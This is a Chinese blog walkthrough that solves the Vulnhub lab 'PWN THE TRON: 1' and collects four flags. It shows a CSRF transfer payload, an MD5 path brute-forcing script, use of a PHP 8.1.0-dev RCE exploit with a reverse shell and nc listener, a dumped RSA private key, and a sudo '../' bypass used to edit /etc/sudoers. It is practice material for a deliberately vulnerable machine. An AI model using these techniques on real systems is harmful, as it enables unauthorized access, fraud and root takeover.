Vulnhub-PWN THE TRON: 1渗透

前言

由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
 如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!

 👉本文靶机下载连接-戳我直接下载!👈

1、靶机ip配置

  • Kali IP:192.168.2.103
  • 靶机IP:192.168.2.131靶机ip获取方式如下图
    在这里插入图片描述

2、渗透目标

  1. 获取flag1
  2. 获取flag2
  3. 获取flag3
  4. 获取最终flag4 /root/目录下的flag文件

3、渗透概括

  1. 靶机背景图片和提示信息分析
  2. 获取Github项目的历史修改版本
  3. 根据获取关键信息(用于爆破)
  4. CSRF
  5. PHP/8.1.0-dev的远程代码执行
  6. 私钥获取
  7. sudo提权(sudo目录限制绕过)


开始实战

一、信息获取

使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP如下所示
在这里插入图片描述
可以看到,开放的端口还是比较的多
发现了几个常用端口服务22/ssh 80/http
22/sshssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个

80/http基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个有点好看的web页面
在这里插入图片描述

我们直接ctrl+u,如下,里面有四幅图,直接点击这几个图片的链接就可以打开查看
在这里插入图片描述

二、靶机背景分析

接下来,我们看看这几个图片的内容,直接用的翻译软件,不是很准确,大概能明白一丢丢意思,继续往下走
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

我们这里拿gobuster跑一下,发现了一个/Travel目录
gobuster dir -u http://192.168.2.131/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
在这里插入图片描述

三、解密坐标文件

我们访问一下/Travel目录,有如下一幅图
在这里插入图片描述

我来翻译一下
擎天柱能够找到两个密钥的加密坐标它们似乎在同一个地方。
你(Jack)与大黄蜂和Arcee一起被派去获得密钥,在声波能够解密之前完成!
你能找到@decepticon-base来获取iacon_codes吗?(霸天虎可能会删除安全区外的符号代码,想办法)
用于坐标的加密消息:daab260727e470e56e77ec22e8f3d413

解密消息的格式:
/iacon_code/(一个国家的首都)/{Latitude_dd.dd-Longitude_dd.dd}.txt
d = 0-9之间的任意数字

根据这个线索,我们直接来到Github(点我直达)翻一下
直接再github.com网址拼接/decepticon-base就可以找到这个基地,然后再选择Projects这个项目
在这里插入图片描述

进入这个项目之后我们直接依次选择iacon->iacon_codes就可以得到下图界面,根据显示的内容我们可以发现这个项目已经被删除了
在这里插入图片描述

我们用Wayback Machine这个网站查询一下这个项目历史(ps:如果访问不了的话直接可以跳过这里在后几步拿iacon_codes)
直接在搜索框里面搜我们上一步操作的页面的整个URL(可以右击我直接复制链接)然后会回车即可
在这里插入图片描述

按照下图进行操作,这里一定要选择2021年的,要不然其他的看不到
在这里插入图片描述

如下图,我们可以看到所有的iacon_codes
在这里插入图片描述

CYB3R-6969
C0D3-20
C0D3-007
CYB3R-9000
OMEGA-001
OMEGA-002
OMEGA-003
R3LIC-1337
SP4RK-2727
SAB3RSWORD-7777

信息收集工作都搞好了,现在写一个脚本把这个hash爆出来(Capital.txt字典可以在博主主页联系博主免费拿)

import hashlib

iacon_codes = [
    "CYB3R-6969",
    "C0D3-20",
    "C0D3-007",
    "CYB3R-9000",
    "OMEGA-001",
    "OMEGA-002",
    "OMEGA-003",
    "R3LIC-1337",
    "SP4RK-2727",
    "SAB3RSWORD-7777",
]

# 打开名为 "Capital.txt" 的文件,该文件包含部分首都的名称(防止字典跑太久)
with open("Capital.txt", "r") as capital_file:
    # 遍历每个编码
    for code in iacon_codes:
        # 重新将文件指针置于文件开头,以便重新遍历首都文件
        capital_file.seek(0)
        
        # 遍历首都文件中的每个首都名称
        for capital in capital_file:
            capital = capital.strip("\n")  # 移除换行符
            # 生成坐标范围内的每个纬度和经度的文件路径
            for i in range(10, 100):
                for j in range(10, 100):
                    # 构建文件路径字符串
                    text = f"/{code}/{capital}/Latitude_{i}.{j}-Longitude_{i}.{j}.txt"
                    
                    # 计算文件路径的 MD5 哈希值
                    hashed_text = hashlib.md5(text.encode()).hexdigest()
                    
                    # 检查哈希值是否与指定值匹配
                    if hashed_text == "daab260727e470e56e77ec22e8f3d413":
                        # 打印匹配的路径信息
                        print("True=" + text)

如下图,正确的目录已经跑出来了
/R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt
在这里插入图片描述

我们直接用跑出来的目录访问靶机的web目录。拿到了flag1和新的线索
在这里插入图片描述

祝贺你通过了第一阶段!
你的勇气让我们拿到了4把钥匙中的2把!
这是您的第一个flag1:Flag1{873b375210b4297e9bdea1ed183c2da5}
坏消息:威震天有两把钥匙可供他使用。首相和大黄蜂从红蜘蛛那里得到了信息,红蜘蛛是威震天的叛徒和前指挥官,关于他藏在Kackout商店最昂贵的东西里的秘密物品。该项目具有管理员凭据。
商店链接:/W4RSHIP_Sh0P.php。
祝好运!

四、利用CSRF漏洞让管理员给我们转账

我接下来访问/W4RSHIP_Sh0P.php页面,crtl+u审计源码可以发现一个管理员用户admin_boss
在这里插入图片描述

我们返回到主页面,往下面翻一下,随便找个资源,点击购买按钮,如下
在这里插入图片描述

就会跳转到登录页面,我们点击Sign up now注册一个账户并且登录
在这里插入图片描述

登录进来之后,可以发现我们的可用余额为0
这里有一个转账的链接,我们点击访问一下
在这里插入图片描述

可以发现我们不仅没钱,也没有管理权限转账
但是我们可以注意一下URL处,发现了这个链接不简单,在主界面有一个给管理员反馈的地方,那么我们就可以利用这一点去构造CSRF攻击,让管理员给我们转钱
在这里插入图片描述

我们构造CSRF的payload:http://192.168.2.131/W4RSHIP_Sh0P_transfer.php?to=user&amount=99999&from=lord_starscream
user处就是我们上面找到的管理员用户admin_boss内容处就是我们构造好的payload,然后点击发送即可
在这里插入图片描述

点击send之后就会跳转到如下页面,发现已经到账一万元了,可以开始消费了
在这里插入图片描述

五、获取购买秘密

我们就可以购买这个秘密资料啦
由于我的靶机并没有通外网而且Google的JS库也不能使用,那么我么就手写一个调用接口的
在这里插入图片描述

我们看到这个付款的html代码,发现这里调用了一个pay()函数,并且传入了两个值2,9999.00
在这里插入图片描述
再根据这个pay()函数里面的内容,我们就可以知道如何使用这个接口
在这里插入图片描述

那么我们直接上python代码去调用这个接口

import requests

url = "http://192.168.2.131/W4RSHIP_Sh0P_buy.php"
data = {
    "itemid": 2,
    "price": 9999.00
}

rp = requests.post(url, data=data, cookies={"PHPSESSID" : "hlnu7njr026n6g06ku1t26eq9i"})
print(rp.text)

运行一下,如下图,根据返回的reponse获取到了一个新的URL和账户密码``
/M3G4TR0N_SUPR3M3/login.phpL0RD_M3G4Tr0N/freakishlylongpasswordforl0gin
在这里插入图片描述

登录成功之后,就能拿到flag2:Flag2{8278ad4f45efef155f2569c1be074d2d}
在这里插入图片描述

七、利用远程代码执行漏洞获取shell

我们按一下键盘的F12,按照下图步骤,抓一下网络请求数据
可以看到X-Powered-By的字段内容为PHP/8.1.0-dev,这个版本是有RCE
在这里插入图片描述

我们直接用searchsploit工具搜这个php的漏洞
有一个远程代码执行RCE漏洞的python exp文件
在这里插入图片描述

我们通过cp命令拷贝一份到当前目录
在这里插入图片描述

执行我们拷贝下来的py文件,并且输入我们刚刚的那个URL即可
在这里插入图片描述

由于这个python的exp给的是webshell对我来说操作空间不大,所以我们要提升普通shell
根据下图步骤,通过写入反弹shell并执行来获得普通shell,并且我们在kali里面用nc -lvvp 1234命令来监听一下
在这里插入图片描述

八、私钥获取

如图,获取到了反弹shell了,现在就有操作空间了
在这里插入图片描述

如下操作,获取ssh私钥

#看一下home目录下的用户
www-data@warship:/$ ls /home
megatr0n soundwave

#到soundwave用户的ssh密钥目录
www-data@warship:/$ cd /home/soundwave/.ssh/pem

#发现私钥文件
www-data@warship:/home/soundwave/.ssh/pem$ ls
identity identity.pub

#显示私钥文件
www-data@warship:/home/soundwave/.ssh/pem$ cat identity
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAutt1pf7feg8cUiobNUJCm/3hMcX9t0sSg7FTWdaLuYsGShhI
7OD8W01Pl4JPMxFg9urX4Iazjn+pWT7F9Wu7uCgzxBSlH1nfStcAh9cNs0Yop8UM
Pae/dxBNharEXipxZ8Wph0pPUlht2KTc9k8sRrMb5zpD8v5g7gWGfNQUSDFkf7p7
rpqVxYNadmTqERi+rJr95ByJXKDieGhQlDTfH572F0wqQB2n09F/LsLEzLD1ymEu
2DrAXU9EHsatSGanz5LGLVQPEgYIvNE2G71owTwqjNGwiEhaeHnySyf1fSIxDY3k
tyCT0YGWhXvALHwYY0xGdL60jXnkJweKaPpgPQIDAQABAoIBACMiju2mjhjibH3a
owERs3qnc0erpfhoKlQO7NBQsjcyN/2IsXWxHGKCl/uyKfg9RVFIeU0jpvGdeZdp
YUmzdzm6fXlaNG4/tOfao6PnQRE7mPtq5tFVEIBv1VPT91aJfod3uFfTFjUyoX0C
CvZZjsbAePeykgJH6Kv45//i1Ol55dlV2Gr10S8v8oixeIasvadRu9WAWWw+6Pj5
Tr7jrI9+XkTcuQD49Kq7p8HOU538cAR9R85lBZNOi4iX5hwzuORyLJcgT9ct+l7h
NPNugbcXVekN29R+0jh8ob5p/Dr6LOHsBGOeno8Wcd2YaF/Rh3D1QVA+bZ9Gdc3J
slfZ4rUCgYEA358IPP2GUe9cstmIgEqRfSeDOhiUxDpbmHkMtdpnqIRIv3t3YKJ8
m03aqx5nn4vrdTOR2IjWxunY8b+2aDGdDotddHrjwXaIujBgKd5Ydy/Z5MBk2vxg
JFuNUXgFugwOJfrrCCPDaOPmQoarSc9s+nCE+/eAyOu1vYNtXU/J/xMCgYEA1emy
pQzQH2tZKZqoqQJPkwlVRiCTclt0e8EHjtbAiB8BQH4P3z97P1fmsourcxuq7pxP
EkK+HTehTovIBgQ9WbGqfBHwhaAFot+2lRuF3hxh+1X5xLucnr78k/bu6Bi3pIeO
JLC3t/MCCVpcQJhkXmaEhGWweNG7Z0Mof0pV/W8CgYAE+1H/qdY4NRDnmxkDYqXj
F+JAhROrW3F28BtsYbU1d9z3BxUdvgDwpMdeUIsWbtOMBN4W6NWAEO2YVSEHKTPK
gyhN0/8G7FEXdMRvqlhmL1a3VeHpTv4FUVTQn8/g2SvnhLN/tuw/hfQ3PzDJsClJ
WwBbbKQd1cJyul7RWVmyqQKBgQC4b4jiGgwQKwRzhK/LGPz3L+LgVhILVaM3WJVl
qO/T7besnYSd3iQr12RHqXkoBED6/raGbhlxI5fnG0pZNaqX/UGbO/R/oht59R19
rn9bpGkuxVBXOdOuY8lu4kfWwgkEyQPbyqp85f9phQlpgHt5kTbM2MixQ1QrkpIG
Plep7QKBgQCDN6yu312t8zxA2b7cATgcAZDx9SCLBZBJ5LtUIvmKuwRCQTh2cIp/
ez1y8SbKaTGRFoNZ5moJ9G0Bw8yVc2Ne+mnAbu7nnIhuzvDlGNVtW7yLJjCbfQkH
7MirE1l4ymR3RsR4dV8MHUl86wkBEpenHmbRwVX8iqB80InPnbZxMw==
-----END RSA PRIVATE KEY-----

九、提权!!!

我们把显示出来的ssh私钥复制下来,保存到kali里面,并且用这个私钥登录soundwave用户,如下操作(ps:私钥文件的权限一定要改为600,否则无法正常使用)
在这里插入图片描述

如下操作,获取第三个flag3flag3{9b47aa8b1e3943bf393fd66754a5c6fb}
在这里插入图片描述

我们用sudo -l查看一下sudo权限,发现可以免密执行,但是只作用在/var/Decepticon/*下面的文件
在这里插入图片描述

虽然限制目录,但是我们可以用../来进行绕过,如下
sudo /usr/bin/vim /var/Decepticon/../../etc/sudoers
在这里插入图片描述

我们修改第30行处,把sudo所有权限都给soundwave用户,并且设置为免密
在这里插入图片描述

我们再通过sudo su命令,即可提权到root
在这里插入图片描述

我们切换到root的家目录,查看最终的flag文件,拿到Flag4Flag4{f220ad174379375c286849d7eb59dd90}完成本靶机的渗透全过程
在这里插入图片描述

  • 72
    点赞
  • 52
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂搞网安的18岁老登

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值